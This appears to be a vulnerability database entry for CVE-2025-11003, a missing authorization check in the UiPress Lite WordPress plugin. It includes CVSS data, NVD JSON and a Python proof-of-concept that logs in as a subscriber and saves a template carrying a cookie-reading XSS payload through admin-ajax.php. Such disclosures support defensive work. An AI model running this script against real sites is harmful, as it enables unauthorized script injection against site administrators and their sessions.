Security Vulnerability Report
中文
CVE-2025-11003 CVSS 6.4 MEDIUM

CVE-2025-11003

Published: 2025-11-21 08:15:48
Last Modified: 2026-04-15 00:35:42

Description

The UiPress lite | Effortless custom dashboards, admin themes and pages plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'uip_save_ui_template' function in all versions up to, and including, 3.5.08. This makes it possible for authenticated attackers, with Subscriber-level access and above, to save templates that contain custom JavaScript.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

UiPress Lite plugin ≤ 3.5.08

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-11003 PoC - UiPress Lite Unauthorized Template Save # This PoC demonstrates the missing capability check vulnerability import requests import json # Configuration target_url = "http://target-wordpress-site.com" username = "attacker_account" password = "attacker_password" # Create session session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": "/wp-admin/", "testcookie": "1" } session.post(login_url, data=login_data) # Step 2: Prepare malicious template with XSS payload malicious_template = { "uip-template-name": "Malicious Admin Theme", "uip-template-data": json.dumps({ "type": "block", "content": { "type": "div", "attrs": { "onload": "alert('XSS - Cookie: '+document.cookie)", "class": "admin-panel" } } }), "action": "uip_save_ui_template", "security": "" # May need to fetch nonce from source } # Step 3: Send malicious template save request ajax_url = f"{target_url}/wp-admin/admin-ajax.php" response = session.post(ajax_url, data=malicious_template) print(f"Response Status: {response.status_code}") print(f"Response: {response.text}") if response.status_code == 200: print("[+] Template saved successfully - XSS payload injected!") else: print("[-] Failed to save template")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11003", "sourceIdentifier": "[email protected]", "published": "2025-11-21T08:15:48.400", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The UiPress lite | Effortless custom dashboards, admin themes and pages plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'uip_save_ui_template' function in all versions up to, and including, 3.5.08. This makes it possible for authenticated attackers, with Subscriber-level access and above, to save templates that contain custom JavaScript."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/uipress-lite/tags/3.5.08/admin/classes/PostTypes/UiTemplates.php#L416", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/uipress-lite/tags/3.5.08/admin/core/uiBuilder.php#L613", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b2a01ccc-c98e-4fcc-8eaf-721ec46584fc?source=cve", "source": "[email protected]"}]}}